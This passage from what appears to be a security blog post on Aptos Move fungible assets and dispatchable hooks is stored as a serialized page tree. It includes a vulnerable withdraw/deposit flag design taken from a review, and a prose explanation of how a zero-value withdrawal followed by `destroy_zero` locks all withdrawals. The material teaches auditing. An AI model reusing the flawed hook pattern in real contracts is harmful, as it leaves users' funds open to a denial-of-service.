account.\n",{"type":23,"tag":504,"props":67737,"children":67738},{"class":5016,"line":4876},[67739,67743,67747,67751,67755,67759,67763],{"type":23,"tag":504,"props":67740,"children":67741},{"style":5030},[67742],{"type":29,"value":11448},{"type":23,"tag":504,"props":67744,"children":67745},{"style":5467},[67746],{"type":29,"value":67653},{"type":23,"tag":504,"props":67748,"children":67749},{"style":5041},[67750],{"type":29,"value":11457},{"type":23,"tag":504,"props":67752,"children":67753},{"style":5041},[67754],{"type":29,"value":67662},{"type":23,"tag":504,"props":67756,"children":67757},{"style":5058},[67758],{"type":29,"value":4367},{"type":23,"tag":504,"props":67760,"children":67761},{"style":5041},[67762],{"type":29,"value":7986},{"type":23,"tag":504,"props":67764,"children":67765},{"style":5058},[67766],{"type":29,"value":5333},{"type":23,"tag":504,"props":67768,"children":67769},{"class":5016,"line":5099},[67770,67774,67778,67782,67786,67790],{"type":23,"tag":504,"props":67771,"children":67772},{"style":5041},[67773],{"type":29,"value":63614},{"type":23,"tag":504,"props":67775,"children":67776},{"style":5047},[67777],{"type":29,"value":6533},{"type":23,"tag":504,"props":67779,"children":67780},{"style":5467},[67781],{"type":29,"value":63623},{"type":23,"tag":504,"props":67783,"children":67784},{"style":5058},[67785],{"type":29,"value":2658},{"type":23,"tag":504,"props":67787,"children":67788},{"style":5467},[67789],{"type":29,"value":63632},{"type":23,"tag":504,"props":67791,"children":67792},{"style":5058},[67793],{"type":29,"value":8038},{"type":23,"tag":504,"props":67795,"children":67796},{"class":5016,"line":5203},[67797],{"type":23,"tag":504,"props":67798,"children":67799},{"style":5058},[67800],{"type":29,"value":5965},{"type":23,"tag":32,"props":67802,"children":67803},{},[67804,67806,67812,67814,67820],{"type":29,"value":67805},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":154,"props":67807,"children":67809},{"className":67808},[],[67810],{"type":29,"value":67811},"MintRef",{"type":29,"value":67813}," for minting and ",{"type":23,"tag":154,"props":67815,"children":67817},{"className":67816},[],[67818],{"type":29,"value":67819},"BurnRef",{"type":29,"value":67821}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":24,"props":67823,"children":67825},{"id":67824},"dispatchable-fungible-assets",[67826],{"type":29,"value":67827},"Dispatchable fungible assets",{"type":23,"tag":32,"props":67829,"children":67830},{},[67831],{"type":29,"value":67832},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":32,"props":67834,"children":67835},{},[67836],{"type":29,"value":67837},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":67839,"props":67840,"children":67841},"warning",{},[67842],{"type":23,"tag":32,"props":67843,"children":67844},{},[67845,67847,67853],{"type":29,"value":67846},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":154,"props":67848,"children":67850},{"className":67849},[],[67851],{"type":29,"value":67852},"transfer_assert_minimum_deposit",{"type":29,"value":67854}," that can help mitigate such risks.",{"type":23,"tag":32,"props":67856,"children":67857},{},[67858,67860,67865,67867,67874],{"type":29,"value":67859},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":154,"props":67861,"children":67863},{"className":67862},[],[67864],{"type":29,"value":63737},{"type":29,"value":67866}," to ensure ",{"type":23,"tag":68,"props":67868,"children":67871},{"href":67869,"rel":67870},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[72],[67872],{"type":29,"value":67873},"their signature remains immutable",{"type":29,"value":67875},". An example implementation might look like this:",{"type":23,"tag":4743,"props":67877,"children":67879},{"className":5009,"code":67878,"language":5008,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[67880],{"type":23,"tag":154,"props":67881,"children":67882},{"__ignoreMap":7},[67883,67919,67946,67965,67989,68008,68016,68062,68069,68076,68112,68139,68159,68182,68189,68196,68240],{"type":23,"tag":504,"props":67884,"children":67885},{"class":5016,"line":5017},[67886,67890,67894,67899,67903,67907,67911,67915],{"type":23,"tag":504,"props":67887,"children":67888},{"style":5041},[67889],{"type":29,"value":63737},{"type":23,"tag":504,"props":67891,"children":67892},{"style":5041},[67893],{"type":29,"value":8252},{"type":23,"tag":504,"props":67895,"children":67896},{"style":5041},[67897],{"type":29,"value":67898}," withdraw_hook",{"type":23,"tag":504,"props":67900,"children":67901},{"style":5058},[67902],{"type":29,"value":2658},{"type":23,"tag":504,"props":67904,"children":67905},{"style":5467},[67906],{"type":29,"value":8033},{"type":23,"tag":504,"props":67908,"children":67909},{"style":5047},[67910],{"type":29,"value":6533},{"type":23,"tag":504,"props":67912,"children":67913},{"style":5041},[67914],{"type":29,"value":7977},{"type":23,"tag":504,"props":67916,"children":67917},{"style":5058},[67918],{"type":29,"value":8632},{"type":23,"tag":504,"props":67920,"children":67921},{"class":5016,"line":4868},[67922,67926,67930,67934,67938,67942],{"type":23,"tag":504,"props":67923,"children":67924},{"style":5041},[67925],{"type":29,"value":31468},{"type":23,"tag":504,"props":67927,"children":67928},{"style":5047},[67929],{"type":29,"value":6533},{"type":23,"tag":504,"props":67931,"children":67932},{"style":5467},[67933],{"type":29,"value":63623},{"type":23,"tag":504,"props":67935,"children":67936},{"style":5058},[67937],{"type":29,"value":2658},{"type":23,"tag":504,"props":67939,"children":67940},{"style":5467},[67941],{"type":29,"value":8033},{"type":23,"tag":504,"props":67943,"children":67944},{"style":5058},[67945],{"type":29,"value":8183},{"type":23,"tag":504,"props":67947,"children":67948},{"class":5016,"line":4876},[67949,67953,67957,67961],{"type":23,"tag":504,"props":67950,"children":67951},{"style":5041},[67952],{"type":29,"value":63644},{"type":23,"tag":504,"props":67954,"children":67955},{"style":5047},[67956],{"type":29,"value":6533},{"type":23,"tag":504,"props":67958,"children":67959},{"style":5467},[67960],{"type":29,"value":7905},{"type":23,"tag":504,"props":67962,"children":67963},{"style":5058},[67964],{"type":29,"value":5557},{"type":23,"tag":504,"props":67966,"children":67967},{"class":5016,"line":5099},[67968,67973,67977,67981,67985],{"type":23,"tag":504,"props":67969,"children":67970},{"style":5041},[67971],{"type":29,"value":67972},"    transfer_ref",{"type":23,"tag":504,"props":67974,"children":67975},{"style":5047},[67976],{"type":29,"value":6533},{"type":23,"tag":504,"props":67978,"children":67979},{"style":5047},[67980],{"type":29,"value":9185},{"type":23,"tag":504,"props":67982,"children":67983},{"style":5467},[67984],{"type":29,"value":67487},{"type":23,"tag":504,"props":67986,"children":67987},{"style":5058},[67988],{"type":29,"value":5557},{"type":23,"tag":504,"props":67990,"children":67991},{"class":5016,"line":5203},[67992,67996,68000,68004],{"type":23,"tag":504,"props":67993,"children":67994},{"style":5058},[67995],{"type":29,"value":933},{"type":23,"tag":504,"props":67997,"children":67998},{"style":5047},[67999],{"type":29,"value":6533},{"type":23,"tag":504,"props":68001,"children":68002},{"style":5467},[68003],{"type":29,"value":63602},{"type":23,"tag":504,"props":68005,"children":68006},{"style":5058},[68007],{"type":29,"value":5333},{"type":23,"tag":504,"props":68009,"children":68010},{"class":5016,"line":5308},[68011],{"type":23,"tag":504,"props":68012,"children":68013},{"style":5021},[68014],{"type":29,"value":68015},"    //check paused, gather fees etc.\n",{"type":23,"tag":504,"props":68017,"children":68018},{"class":5016,"line":5336},[68019,68024,68028,68033,68037,68042,68046,68050,68054,68058],{"type":23,"tag":504,"props":68020,"children":68021},{"style":5058},[68022],{"type":29,"value":68023},"    fungible_asset",{"type":23,"tag":504,"props":68025,"children":68026},{"style":5047},[68027],{"type":29,"value":5530},{"type":23,"tag":504,"props":68029,"children":68030},{"style":5139},[68031],{"type":29,"value":68032},"withdraw_with_ref",{"type":23,"tag":504,"props":68034,"children":68035},{"style":5058},[68036],{"type":29,"value":603},{"type":23,"tag":504,"props":68038,"children":68039},{"style":5041},[68040],{"type":29,"value":68041},"transfer_ref",{"type":23,"tag":504,"props":68043,"children":68044},{"style":5058},[68045],{"type":29,"value":4367},{"type":23,"tag":504,"props":68047,"children":68048},{"style":5041},[68049],{"type":29,"value":7986},{"type":23,"tag":504,"props":68051,"children":68052},{"style":5058},[68053],{"type":29,"value":4367},{"type":23,"tag":504,"props":68055,"children":68056},{"style":5041},[68057],{"type":29,"value":22359},{"type":23,"tag":504,"props":68059,"children":68060},{"style":5058},[68061],{"type":29,"value":5200},{"type":23,"tag":504,"props":68063,"children":68064},{"class":5016,"line":5349},[68065],{"type":23,"tag":504,"props":68066,"children":68067},{"style":5058},[68068],{"type":29,"value":5965},{"type":23,"tag":504,"props":68070,"children":68071},{"class":5016,"line":5367},[68072],{"type":23,"tag":504,"props":68073,"children":68074},{"emptyLinePlaceholder":15},[68075],{"type":29,"value":5734},{"type":23,"tag":504,"props":68077,"children":68078},{"class":5016,"line":5388},[68079,68083,68087,68092,68096,68100,68104,68108],{"type":23,"tag":504,"props":68080,"children":68081},{"style":5041},[68082],{"type":29,"value":63737},{"type":23,"tag":504,"props":68084,"children":68085},{"style":5041},[68086],{"type":29,"value":8252},{"type":23,"tag":504,"props":68088,"children":68089},{"style":5041},[68090],{"type":29,"value":68091}," deposit_hook",{"type":23,"tag":504,"props":68093,"children":68094},{"style":5058},[68095],{"type":29,"value":2658},{"type":23,"tag":504,"props":68097,"children":68098},{"style":5467},[68099],{"type":29,"value":8033},{"type":23,"tag":504,"props":68101,"children":68102},{"style":5047},[68103],{"type":29,"value":6533},{"type":23,"tag":504,"props":68105,"children":68106},{"style":5041},[68107],{"type":29,"value":7977},{"type":23,"tag":504,"props":68109,"children":68110},{"style":5058},[68111],{"type":29,"value":8632},{"type":23,"tag":504,"props":68113,"children":68114},{"class":5016,"line":5397},[68115,68119,68123,68127,68131,68135],{"type":23,"tag":504,"props":68116,"children":68117},{"style":5041},[68118],{"type":29,"value":31468},{"type":23,"tag":504,"props":68120,"children":68121},{"style":5047},[68122],{"type":29,"value":6533},{"type":23,"tag":504,"props":68124,"children":68125},{"style":5467},[68126],{"type":29,"value":63623},{"type":23,"tag":504,"props":68128,"children":68129},{"style":5058},[68130],{"type":29,"value":2658},{"type":23,"tag":504,"props":68132,"children":68133},{"style":5467},[68134],{"type":29,"value":8033},{"type":23,"tag":504,"props":68136,"children":68137},{"style":5058},[68138],{"type":29,"value":8183},{"type":23,"tag":504,"props":68140,"children":68141},{"class":5016,"line":5649},[68142,68147,68151,68155],{"type":23,"tag":504,"props":68143,"children":68144},{"style":5041},[68145],{"type":29,"value":68146},"    fa",{"type":23,"tag":504,"props":68148,"children":68149},{"style":5047},[68150],{"type":29,"value":6533},{"type":23,"tag":504,"props":68152,"children":68153},{"style":5467},[68154],{"type":29,"value":63602},{"type":23,"tag":504,"props":68156,"children":68157},{"style":5058},[68158],{"type":29,"value":5557},{"type":23,"tag":504,"props":68160,"children":68161},{"class":5016,"line":5666},[68162,68166,68170,68174,68178],{"type":23,"tag":504,"props":68163,"children":68164},{"style":5041},[68165],{"type":29,"value":67972},{"type":23,"tag":504,"props":68167,"children":68168},{"style":5047},[68169],{"type":29,"value":6533},{"type":23,"tag":504,"props":68171,"children":68172},{"style":5047},[68173],{"type":29,"value":9185},{"type":23,"tag":504,"props":68175,"children":68176},{"style":5467},[68177],{"type":29,"value":67487},{"type":23,"tag":504,"props":68179,"children":68180},{"style":5058},[68181],{"type":29,"value":5557},{"type":23,"tag":504,"props":68183,"children":68184},{"class":5016,"line":5683},[68185],{"type":23,"tag":504,"props":68186,"children":68187},{"style":5058},[68188],{"type":29,"value":16850},{"type":23,"tag":504,"props":68190,"children":68191},{"class":5016,"line":5696},[68192],{"type":23,"tag":504,"props":68193,"children":68194},{"style":5021},[68195],{"type":29,"value":68015},{"type":23,"tag":504,"props":68197,"children":68198},{"class":5016,"line":5705},[68199,68203,68207,68212,68216,68220,68224,68228,68232,68236],{"type":23,"tag":504,"props":68200,"children":68201},{"style":5058},[68202],{"type":29,"value":68023},{"type":23,"tag":504,"props":68204,"children":68205},{"style":5047},[68206],{"type":29,"value":5530},{"type":23,"tag":504,"props":68208,"children":68209},{"style":5139},[68210],{"type":29,"value":68211},"deposit_with_ref",{"type":23,"tag":504,"props":68213,"children":68214},{"style":5058},[68215],{"type":29,"value":603},{"type":23,"tag":504,"props":68217,"children":68218},{"style":5041},[68219],{"type":29,"value":68041},{"type":23,"tag":504,"props":68221,"children":68222},{"style":5058},[68223],{"type":29,"value":4367},{"type":23,"tag":504,"props":68225,"children":68226},{"style":5041},[68227],{"type":29,"value":7986},{"type":23,"tag":504,"props":68229,"children":68230},{"style":5058},[68231],{"type":29,"value":4367},{"type":23,"tag":504,"props":68233,"children":68234},{"style":5041},[68235],{"type":29,"value":63795},{"type":23,"tag":504,"props":68237,"children":68238},{"style":5058},[68239],{"type":29,"value":5888},{"type":23,"tag":504,"props":68241,"children":68242},{"class":5016,"line":5728},[68243],{"type":23,"tag":504,"props":68244,"children":68245},{"style":5058},[68246],{"type":29,"value":5965},{"type":23,"tag":68248,"props":68249,"children":68250},"question",{},[68251,68278],{"type":23,"tag":32,"props":68252,"children":68253},{},[68254,68256,68262,68264,68270,68271,68277],{"type":29,"value":68255},"Why hook functions rely on ",{"type":23,"tag":154,"props":68257,"children":68259},{"className":68258},[],[68260],{"type":29,"value":68261},"*_with_ref",{"type":29,"value":68263}," calls? What would happen if the hook function called ",{"type":23,"tag":154,"props":68265,"children":68267},{"className":68266},[],[68268],{"type":29,"value":68269},"dispatchable_fungible_asset::withdraw",{"type":29,"value":18841},{"type":23,"tag":154,"props":68272,"children":68274},{"className":68273},[],[68275],{"type":29,"value":68276},"fungible_asset::withdraw_with_ref",{"type":29,"value":5195},{"type":23,"tag":68279,"props":68280,"children":68281},"template",{"v-slot:answer-0":7},[68282,68294],{"type":23,"tag":32,"props":68283,"children":68284},{},[68285,68287,68292],{"type":29,"value":68286},"A1: Hook functions rely on ",{"type":23,"tag":154,"props":68288,"children":68290},{"className":68289},[],[68291],{"type":29,"value":68261},{"type":29,"value":68293}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":32,"props":68295,"children":68296},{},[68297,68299,68304],{"type":29,"value":68298},"A2: A ",{"type":23,"tag":154,"props":68300,"children":68302},{"className":68301},[],[68303],{"type":29,"value":68269},{"type":29,"value":68305}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":32,"props":68307,"children":68308},{},[68309],{"type":29,"value":68310},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":4743,"props":68312,"children":68314},{"className":5009,"code":68313,"language":5008,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[68315],{"type":23,"tag":154,"props":68316,"children":68317},{"__ignoreMap":7},[68318,68413,68433,68448,68468,68511,68526,68533,68540,68659,68678,68693,68712,68755],{"type":23,"tag":504,"props":68319,"children":68320},{"class":5016,"line":5017},[68321,68325,68329,68333,68337,68341,68345,68349,68353,68357,68361,68365,68369,68373,68377,68381,68385,68389,68393,68397,68401,68405,68409],{"type":23,"tag":504,"props":68322,"children":68323},{"style":5041},[68324],{"type":29,"value":63737},{"type":23,"tag":504,"props":68326,"children":68327},{"style":5041},[68328],{"type":29,"value":8252},{"type":23,"tag":504,"props":68330,"children":68331},{"style":5041},[68332],{"type":29,"value":63746},{"type":23,"tag":504,"props":68334,"children":68335},{"style":5058},[68336],{"type":29,"value":2658},{"type":23,"tag":504,"props":68338,"children":68339},{"style":5467},[68340],{"type":29,"value":8033},{"type":23,"tag":504,"props":68342,"children":68343},{"style":5047},[68344],{"type":29,"value":6533},{"type":23,"tag":504,"props":68346,"children":68347},{"style":5041},[68348],{"type":29,"value":7977},{"type":23,"tag":504,"props":68350,"children":68351},{"style":5058},[68352],{"type":29,"value":9655},{"type":23,"tag":504,"props":68354,"children":68355},{"style":5041},[68356],{"type":29,"value":7986},{"type":23,"tag":504,"props":68358,"children":68359},{"style":5047},[68360],{"type":29,"value":6533},{"type":23,"tag":504,"props":68362,"children":68363},{"style":5467},[68364],{"type":29,"value":63623},{"type":23,"tag":504,"props":68366,"children":68367},{"style":5058},[68368],{"type":29,"value":2658},{"type":23,"tag":504,"props":68370,"children":68371},{"style":5467},[68372],{"type":29,"value":8033},{"type":23,"tag":504,"props":68374,"children":68375},{"style":5058},[68376],{"type":29,"value":8674},{"type":23,"tag":504,"props":68378,"children":68379},{"style":5041},[68380],{"type":29,"value":63795},{"type":23,"tag":504,"props":68382,"children":68383},{"style":5047},[68384],{"type":29,"value":6533},{"type":23,"tag":504,"props":68386,"children":68387},{"style":5467},[68388],{"type":29,"value":63602},{"type":23,"tag":504,"props":68390,"children":68391},{"style":5058},[68392],{"type":29,"value":4367},{"type":23,"tag":504,"props":68394,"children":68395},{"style":5041},[68396],{"type":29,"value":68041},{"type":23,"tag":504,"props":68398,"children":68399},{"style":5047},[68400],{"type":29,"value":6533},{"type":23,"tag":504,"props":68402,"children":68403},{"style":5047},[68404],{"type":29,"value":9185},{"type":23,"tag":504,"props":68406,"children":68407},{"style":5467},[68408],{"type":29,"value":67487},{"type":23,"tag":504,"props":68410,"children":68411},{"style":5058},[68412],{"type":29,"value":16850},{"type":23,"tag":504,"props":68414,"children":68415},{"class":5016,"line":4868},[68416,68421,68425,68429],{"type":23,"tag":504,"props":68417,"children":68418},{"style":5139},[68419],{"type":29,"value":68420},"    assert_withdraw_flag",{"type":23,"tag":504,"props":68422,"children":68423},{"style":5058},[68424],{"type":29,"value":603},{"type":23,"tag":504,"props":68426,"children":68427},{"style":5030},[68428],{"type":29,"value":513},{"type":23,"tag":504,"props":68430,"children":68431},{"style":5058},[68432],{"type":29,"value":5888},{"type":23,"tag":504,"props":68434,"children":68435},{"class":5016,"line":4876},[68436,68440,68444],{"type":23,"tag":504,"props":68437,"children":68438},{"style":5058},[68439],{"type":29,"value":64780},{"type":23,"tag":504,"props":68441,"children":68442},{"style":5047},[68443],{"type":29,"value":853},{"type":23,"tag":504,"props":68445,"children":68446},{"style":5058},[68447],{"type":29,"value":13818},{"type":23,"tag":504,"props":68449,"children":68450},{"class":5016,"line":5099},[68451,68456,68460,68464],{"type":23,"tag":504,"props":68452,"children":68453},{"style":5139},[68454],{"type":29,"value":68455},"    set_withdraw_flag",{"type":23,"tag":504,"props":68457,"children":68458},{"style":5058},[68459],{"type":29,"value":603},{"type":23,"tag":504,"props":68461,"children":68462},{"style":5030},[68463],{"type":29,"value":10220},{"type":23,"tag":504,"props":68465,"children":68466},{"style":5058},[68467],{"type":29,"value":5888},{"type":23,"tag":504,"props":68469,"children":68470},{"class":5016,"line":5203},[68471,68475,68479,68483,68487,68491,68495,68499,68503,68507],{"type":23,"tag":504,"props":68472,"children":68473},{"style":5058},[68474],{"type":29,"value":68023},{"type":23,"tag":504,"props":68476,"children":68477},{"style":5047},[68478],{"type":29,"value":5530},{"type":23,"tag":504,"props":68480,"children":68481},{"style":5139},[68482],{"type":29,"value":68211},{"type":23,"tag":504,"props":68484,"children":68485},{"style":5058},[68486],{"type":29,"value":603},{"type":23,"tag":504,"props":68488,"children":68489},{"style":5041},[68490],{"type":29,"value":68041},{"type":23,"tag":504,"props":68492,"children":68493},{"style":5058},[68494],{"type":29,"value":4367},{"type":23,"tag":504,"props":68496,"children":68497},{"style":5041},[68498],{"type":29,"value":7986},{"type":23,"tag":504,"props":68500,"children":68501},{"style":5058},[68502],{"type":29,"value":4367},{"type":23,"tag":504,"props":68504,"children":68505},{"style":5041},[68506],{"type":29,"value":22359},{"type":23,"tag":504,"props":68508,"children":68509},{"style":5058},[68510],{"type":29,"value":5888},{"type":23,"tag":504,"props":68512,"children":68513},{"class":5016,"line":5308},[68514,68518,68522],{"type":23,"tag":504,"props":68515,"children":68516},{"style":5058},[68517],{"type":29,"value":64780},{"type":23,"tag":504,"props":68519,"children":68520},{"style":5047},[68521],{"type":29,"value":853},{"type":23,"tag":504,"props":68523,"children":68524},{"style":5058},[68525],{"type":29,"value":13818},{"type":23,"tag":504,"props":68527,"children":68528},{"class":5016,"line":5336},[68529],{"type":23,"tag":504,"props":68530,"children":68531},{"style":5058},[68532],{"type":29,"value":5403},{"type":23,"tag":504,"props":68534,"children":68535},{"class":5016,"line":5349},[68536],{"type":23,"tag":504,"props":68537,"children":68538},{"emptyLinePlaceholder":15},[68539],{"type":29,"value":5734},{"type":23,"tag":504,"props":68541,"children":68542},{"class":5016,"line":5367},[68543,68547,68551,68555,68559,68563,68567,68571,68575,68579,68583,68587,68591,68595,68599,68603,68607,68611,68615,68619,68623,68627,68631,68635,68639,68643,68647,68651,68655],{"type":23,"tag":504,"props":68544,"children":68545},{"style":5041},[68546],{"type":29,"value":63737},{"type":23,"tag":504,"props":68548,"children":68549},{"style":5041},[68550],{"type":29,"value":8252},{"type":23,"tag":504,"props":68552,"children":68553},{"style":5041},[68554],{"type":29,"value":22324},{"type":23,"tag":504,"props":68556,"children":68557},{"style":5058},[68558],{"type":29,"value":2658},{"type":23,"tag":504,"props":68560,"children":68561},{"style":5467},[68562],{"type":29,"value":8033},{"type":23,"tag":504,"props":68564,"children":68565},{"style":5047},[68566],{"type":29,"value":6533},{"type":23,"tag":504,"props":68568,"children":68569},{"style":5041},[68570],{"type":29,"value":7977},{"type":23,"tag":504,"props":68572,"children":68573},{"style":5058},[68574],{"type":29,"value":9655},{"type":23,"tag":504,"props":68576,"children":68577},{"style":5041},[68578],{"type":29,"value":7986},{"type":23,"tag":504,"props":68580,"children":68581},{"style":5047},[68582],{"type":29,"value":6533},{"type":23,"tag":504,"props":68584,"children":68585},{"style":5467},[68586],{"type":29,"value":63623},{"type":23,"tag":504,"props":68588,"children":68589},{"style":5058},[68590],{"type":29,"value":2658},{"type":23,"tag":504,"props":68592,"children":68593},{"style":5467},[68594],{"type":29,"value":8033},{"type":23,"tag":504,"props":68596,"children":68597},{"style":5058},[68598],{"type":29,"value":8674},{"type":23,"tag":504,"props":68600,"children":68601},{"style":5041},[68602],{"type":29,"value":22359},{"type":23,"tag":504,"props":68604,"children":68605},{"style":5047},[68606],{"type":29,"value":6533},{"type":23,"tag":504,"props":68608,"children":68609},{"style":5467},[68610],{"type":29,"value":7905},{"type":23,"tag":504,"props":68612,"children":68613},{"style":5058},[68614],{"type":29,"value":4367},{"type":23,"tag":504,"props":68616,"children":68617},{"style":5041},[68618],{"type":29,"value":68041},{"type":23,"tag":504,"props":68620,"children":68621},{"style":5047},[68622],{"type":29,"value":6533},{"type":23,"tag":504,"props":68624,"children":68625},{"style":5047},[68626],{"type":29,"value":9185},{"type":23,"tag":504,"props":68628,"children":68629},{"style":5467},[68630],{"type":29,"value":67487},{"type":23,"tag":504,"props":68632,"children":68633},{"style":5058},[68634],{"type":29,"value":933},{"type":23,"tag":504,"props":68636,"children":68637},{"style":5047},[68638],{"type":29,"value":6533},{"type":23,"tag":504,"props":68640,"children":68641},{"style":5467},[68642],{"type":29,"value":63602},{"type":23,"tag":504,"props":68644,"children":68645},{"style":5041},[68646],{"type":29,"value":9611},{"type":23,"tag":504,"props":68648,"children":68649},{"style":5058},[68650],{"type":29,"value":25073},{"type":23,"tag":504,"props":68652,"children":68653},{"style":5047},[68654],{"type":29,"value":853},{"type":23,"tag":504,"props":68656,"children":68657},{"style":5058},[68658],{"type":29,"value":63828},{"type":23,"tag":504,"props":68660,"children":68661},{"class":5016,"line":5388},[68662,68666,68670,68674],{"type":23,"tag":504,"props":68663,"children":68664},{"style":5139},[68665],{"type":29,"value":68420},{"type":23,"tag":504,"props":68667,"children":68668},{"style":5058},[68669],{"type":29,"value":603},{"type":23,"tag":504,"props":68671,"children":68672},{"style":5030},[68673],{"type":29,"value":10220},{"type":23,"tag":504,"props":68675,"children":68676},{"style":5058},[68677],{"type":29,"value":5888},{"type":23,"tag":504,"props":68679,"children":68680},{"class":5016,"line":5397},[68681,68685,68689],{"type":23,"tag":504,"props":68682,"children":68683},{"style":5058},[68684],{"type":29,"value":64780},{"type":23,"tag":504,"props":68686,"children":68687},{"style":5047},[68688],{"type":29,"value":853},{"type":23,"tag":504,"props":68690,"children":68691},{"style":5058},[68692],{"type":29,"value":13818},{"type":23,"tag":504,"props":68694,"children":68695},{"class":5016,"line":5649},[68696,68700,68704,68708],{"type":23,"tag":504,"props":68697,"children":68698},{"style":5139},[68699],{"type":29,"value":68455},{"type":23,"tag":504,"props":68701,"children":68702},{"style":5058},[68703],{"type":29,"value":603},{"type":23,"tag":504,"props":68705,"children":68706},{"style":5030},[68707],{"type":29,"value":513},{"type":23,"tag":504,"props":68709,"children":68710},{"style":5058},[68711],{"type":29,"value":5888},{"type":23,"tag":504,"props":68713,"children":68714},{"class":5016,"line":5666},[68715,68719,68723,68727,68731,68735,68739,68743,68747,68751],{"type":23,"tag":504,"props":68716,"children":68717},{"style":5058},[68718],{"type":29,"value":68023},{"type":23,"tag":504,"props":68720,"children":68721},{"style":5047},[68722],{"type":29,"value":5530},{"type":23,"tag":504,"props":68724,"children":68725},{"style":5139},[68726],{"type":29,"value":68032},{"type":23,"tag":504,"props":68728,"children":68729},{"style":5058},[68730],{"type":29,"value":603},{"type":23,"tag":504,"props":68732,"children":68733},{"style":5041},[68734],{"type":29,"value":68041},{"type":23,"tag":504,"props":68736,"children":68737},{"style":5058},[68738],{"type":29,"value":4367},{"type":23,"tag":504,"props":68740,"children":68741},{"style":5041},[68742],{"type":29,"value":7986},{"type":23,"tag":504,"props":68744,"children":68745},{"style":5058},[68746],{"type":29,"value":4367},{"type":23,"tag":504,"props":68748,"children":68749},{"style":5041},[68750],{"type":29,"value":22359},{"type":23,"tag":504,"props":68752,"children":68753},{"style":5058},[68754],{"type":29,"value":5200},{"type":23,"tag":504,"props":68756,"children":68757},{"class":5016,"line":5683},[68758],{"type":23,"tag":504,"props":68759,"children":68760},{"style":5058},[68761],{"type":29,"value":5965},{"type":23,"tag":32,"props":68763,"children":68764},{},[68765],{"type":29,"value":68766},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":68248,"props":68768,"children":68769},{},[68770,68775],{"type":23,"tag":32,"props":68771,"children":68772},{},[68773],{"type":29,"value":68774},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":68279,"props":68776,"children":68777},{"v-slot:answer-0":7},[68778,68798],{"type":23,"tag":32,"props":68779,"children":68780},{},[68781,68783,68788,68790,68796],{"type":29,"value":68782},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":154,"props":68784,"children":68786},{"className":68785},[],[68787],{"type":29,"value":63573},{"type":29,"value":68789}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":154,"props":68791,"children":68793},{"className":68792},[],[68794],{"type":29,"value":68795},"fungible_asset::destroy_zero",{"type":29,"value":68797},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":32,"props":68799,"children":68800},{},[68801],{"type":29,"value":68802},"It's important to understand all the features in the standard.",{"type":23,"tag":24,"props":68804,"children":68806},{"id":68805},"migrating-from-coins-to-fungible-assets",[68807],{"type":29,"value":68808},"Migrating from coins to fungible assets",{"type":23,"tag":32,"props":68810,"children":68811},{},[68812,68814,68819],{"type":29,"value":68813},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":154,"props":68815,"children":68817},{"className":68816},[],[68818],{"type":29,"value":63028},{"type":29,"value":68820},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":68822,"props":68823,"children":68824},"note",{},[68825],{"type":23,"tag":32,"props":68826,"children":68827},{},[68828,68830,68835,68837,68842],{"type":29,"value":68829},"While the ",{"type":23,"tag":154,"props":68831,"children":68833},{"className":68832},[],[68834],{"type":29,"value":63028},{"type":29,"value":68836}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":154,"props":68838,"children":68840},{"className":68839},[],[68841],{"type":29,"value":63028},{"type":29,"value":357},{"type":23,"tag":32,"props":68844,"children":68845},{},[68846,68847,68853,68855,68860,68862,68867],{"type":29,"value":18661},{"type":23,"tag":154,"props":68848,"children":68850},{"className":68849},[],[68851],{"type":29,"value":68852},"coin_to_fungible_asset",{"type":29,"value":68854}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":154,"props":68856,"children":68858},{"className":68857},[],[68859],{"type":29,"value":63028},{"type":29,"value":68861}," if one does not already exist. Manual creation of a fungible asset and its linkage to a 